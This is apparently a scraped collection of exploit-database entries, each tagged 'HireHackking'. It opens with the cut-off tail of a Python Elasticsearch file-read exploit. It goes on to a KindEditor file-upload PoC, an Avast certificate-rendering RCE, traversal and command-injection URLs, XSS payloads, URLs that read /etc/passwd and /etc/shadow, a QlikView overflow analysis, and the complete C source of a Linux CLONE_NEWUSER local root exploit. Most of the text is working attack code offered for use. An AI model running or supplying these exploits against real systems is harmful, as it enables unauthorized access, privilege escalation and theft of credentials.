		request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')
		request.get_method = lambda: 'POST'
		urllib2.urlopen(request)

        	url = "%s/%sie" % (baseurl, reponame)
	        request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')
	        request.get_method = lambda: 'POST'
	        urllib2.urlopen(request)
	except urllib2.HTTPError, e:
                data = json.load(e)
		print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"
		print str(data['error'])
		sys.exit()


def grabFile(xplurl):
	try:
		urllib2.urlopen(xplurl)
	except urllib2.HTTPError, e:
		data = json.load(e)
		extrdata = re.findall(r'\d+', str(data['error']))
		decoder = bytearray()
		for i in extrdata[+2:]:
			decoder.append(int(i))
		print decoder


def main():
	createSnapdirs()
	grabFile(xplurl)


if __name__ == "__main__":
    main()
HireHackking 
source: https://www.securityfocus.com/bid/58431/info

KindEditor is prone to multiple remote file-upload vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

KindEditor 4.1.5 is vulnerable; other versions may also be affected. 

<?php
 
$uploadfile="KedAns.txt";
$ch = curl_init("http://www.example.com/kindeditor/php/upload_json.php?dir=file");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
       array(&#039;imgFile&#039;=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>

# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
--------------------------------------------------

<html><head>
<title>Uploader By KedAns-Dz</title>
<script src="http://www.example.com/kindeditor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K(&#039;#uploadButton&#039;)[0],
fieldName : &#039;imgFile&#039;,
url : &#039;http://www.example.com/kindeditor/php/upload_json.asp?dir=file&#039;,
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, &#039;absolute&#039;);
K(&#039;#url&#039;).val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=546

Avast will render the commonName of X.509 certificates into an HTMLLayout frame when your MITM proxy detects a bad signature. Unbelievably, this means CN="<h1>really?!?!?</h1>" actually works, and is pretty simple to convert into remote code execution.

To verify this bug, I've attached a demo certificate for you. Please find attached key.pem, cert.pem and cert.der. Run this command to serve it from a machine with openssl:

$ sudo openssl s_server -key key.pem -cert cert.pem -accept 443

Then visit that https server from a machine with Avast installed. Click the message that appears to demonstrate launching calc.exe.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38384.zip
HireHackking 
source: https://www.securityfocus.com/bid/58432/info

PHPBoost is prone to an information disclosure vulnerability and an arbitrary file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these issues to upload arbitrary files in the context of the web server process or gain access to sensitive information that may aid in further attacks.

PHPBoost 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpboost/user/?url=/../../KedAns
HireHackking 
source: https://www.securityfocus.com/bid/58450/info

fastreader is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

fastreader 1.0.8 is affected; other versions may also be vulnerable. 

The following example URI is available:

http://www.g;id;.com
HireHackking 
source: https://www.securityfocus.com/bid/58463/info

QlikView is prone to a remote integer-overflow vulnerability.

Successful attacks will allow attackers to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition.

QlikView 11.00 SR2 is vulnerable; other versions may also be affected. 

Vulnerability details:
----------------------
The .qvw file is divided into several sections with a specified delimiter.
Among others, there is a parameter which is responsible for defining the
section length. On the hex listing below it's the DWORD A4 00 00 00 (address
315EF)

000315B0:  00 00 01 00-00 00 0E 23-23 23 23 23-23 23 23 23
000315C0:  23 23 23 23-23 01 2E 00-00 00 00 00-00 00 00 00
000315D0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 03
000315E0:  00 00 00 00-00 00 00 90-02 00 00 00-00 04 00 A4
000315F0:  00 00 00 78-9C 3D CC CB-4A 02 50 14-86 D1 1F 47

If by any reasons the value is bigger than the actual size of the section,
an error is handled by a C++ EH and a message "Document failed to load" is
shown. The check condition can be seen here:

.text:00D6BD66                 mov     eax, [edi+28h]
.text:00D6BD69                 mov     ebx, [eax]      ; here is the length parameter
.text:00D6BD6B                 add     eax, 4
.text:00D6BD6E                 mov     [edi+28h], eax
.text:00D6BD71                 cmp     ebx, [ebp+var_14]
.text:00D6BD74                 jg      loc_D6BBAC      ; check if the parameter value 
                                                         is bigger than actual length

However, the comparison operates with a signed number and doesn't check if it's
less than zero. In other words, if an attacker supplies a DWORD bigger than
0x80000000, the jump will not be taken (as the number will be considered as 
negative), causing an integer overflow. After that, the length parameter is used 
as the DstSize argument to the CArchive::Read function:

.text:00D6BD7A                 mov     eax, [ebp+Dst]
.text:00D6BD7D                 push    ebx             ; DstSize
.text:00D6BD7E                 push    eax             ; Dst
.text:00D6BD7F                 mov     ecx, edi
.text:00D6BD81                 call    ?Read () CArchive@@QAEIPAXI () Z ; CArchive::Read(void *,uint)

A large amount of data is read. It is used later to fill the created Archive
whose size is 0x8000:
 
.text:00B26207                 push    0
.text:00B26209                 push    8000h
.text:00B2620E                 push    1
.text:00B26210                 lea     eax, [ebp+var_60]
.text:00B26213                 push    eax
.text:00B26214                 lea     ecx, [ebp+var_A8]
.text:00B2621A                 call    ??0CArchive@@QAE () PAVCFile@@IHPAX () Z ; 
                                                     CArchive::CArchive(CFile *,uint,int,void *)

This results in the controlled address being overwritten with the controlled
value.

.text:009F3092                 mov     ecx, [esi]
.text:009F3094                 mov     edx, [esi+4]
.text:009F3097                 mov     [ecx+4], edx    ; here the error occurs;
.text:009F3097                                         ; trying to write at non-existing address

An extract from a debugger with the occurence of the error is presented below.

eax=04735f14 ebx=00000000 ecx=bbbbbbb7 edx=aaaaaaa6 esi=04b2fbc0 edi=04735f10
eip=01723097 esp=003527f8 ebp=00352818 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
Qv+0x5f3097:
01723097 895104          mov     dword ptr [ecx+4],edx ds:002b:bbbbbbbb=????????
HireHackking 
source: https://www.securityfocus.com/bid/58508/info

Petite Annonce is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script>
HireHackking 
source: https://www.securityfocus.com/bid/58476/info

Cisco Video Surveillance Operations Manager is prone to multiple security vulnerabilities, including:

1. Multiple local file-include vulnerabilities
2. A security-bypass vulnerability
3. Multiple cross-site scripting vulnerabilities

An attacker may leverage these issues to bypass certain security restrictions to perform unauthorized actions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.

Cisco Video Surveillance Operations Manager 6.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow
http://www.example.com/monitor/logselect.php
http://www.example.com/broadware.jsp
http://www.example.com/vsom/index.php/"/title><script>alert("ciscoxss");</script>
HireHackking 
/*
source: https://www.securityfocus.com/bid/58478/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks. 
*/

/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
 *
 * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
 *
 * This exploit was made on the 13.3.13.
 *
 * (C) 2013 Sebastian Krahmer
 *
 * We are so 90's, but we do 2013 xSports.
 *
 * Must be compiled static:
 *
 * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
 * stealth@linux-czfh:~> ./a.out
 * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
 *
 * [+] Found myself: '/home/stealth/a.out'
 * [*] Parent waiting for boomsh to appear ...
 * [*] Setting up chroot ...
 * [+] Done.
 * [*] Cloning evil child ...
 * [+] Done.
 * [*] Creating UID mapping ...
 * [+] Done.
 * [+] Yay! euid=0 uid=1000
 * linux-czfh:/home/stealth # grep bin /etc/shadow
 * bin:*:15288::::::
 * linux-czfh:/home/stealth #
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>


int go[2];
char child_stack[1<<20];
extern char **environ;


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


int child(void *arg)
{
	char c;

	close(go[1]);
	read(go[0], &c, 1);

	setuid(0);

	/* this will also affect the parent, but the parent
	 * has the init_user_ns, so it will start suid with real uid 0.
	 */
	if (chdir("chroot") < 0)
		die("[-] chdir");
	if (chroot(".") < 0)
		die("[-] chroot");

	return 0;
}



int setup_chroot(const char *me)
{
	mkdir("chroot", 0755);
	mkdir("chroot/lib64", 0755);
	mkdir("chroot/bin", 0755);

	if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
		die("[-] link");
	if (link("/bin/su", "chroot/bin/su") < 0)
		die("[-] link");
	return 0;
}


int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	char uidmap[128], map_file[128];
	pid_t pid;
	struct stat st;
	int fd;


	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so from
		 * su process
		 */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear ...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			usleep(1000);
		}
		execve(me, mee, environ);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n[*] Cloning evil child ...\n");

	if (pipe(go) < 0)
		die("[-] pipe");

	pid = clone(child, child_stack + sizeof(child_stack),
	            CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n[*] Creating UID mapping ...\n");

	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
	if ((fd = open(map_file, O_RDWR)) < 0)
		die("[-] open");
	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
	if (write(fd, uidmap, strlen(uidmap)) < 0)
		die("[-] write");
	close(fd);
	printf("[+] Done.\n");

	close(go[0]);
	write(go[1], "X", 1);

	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}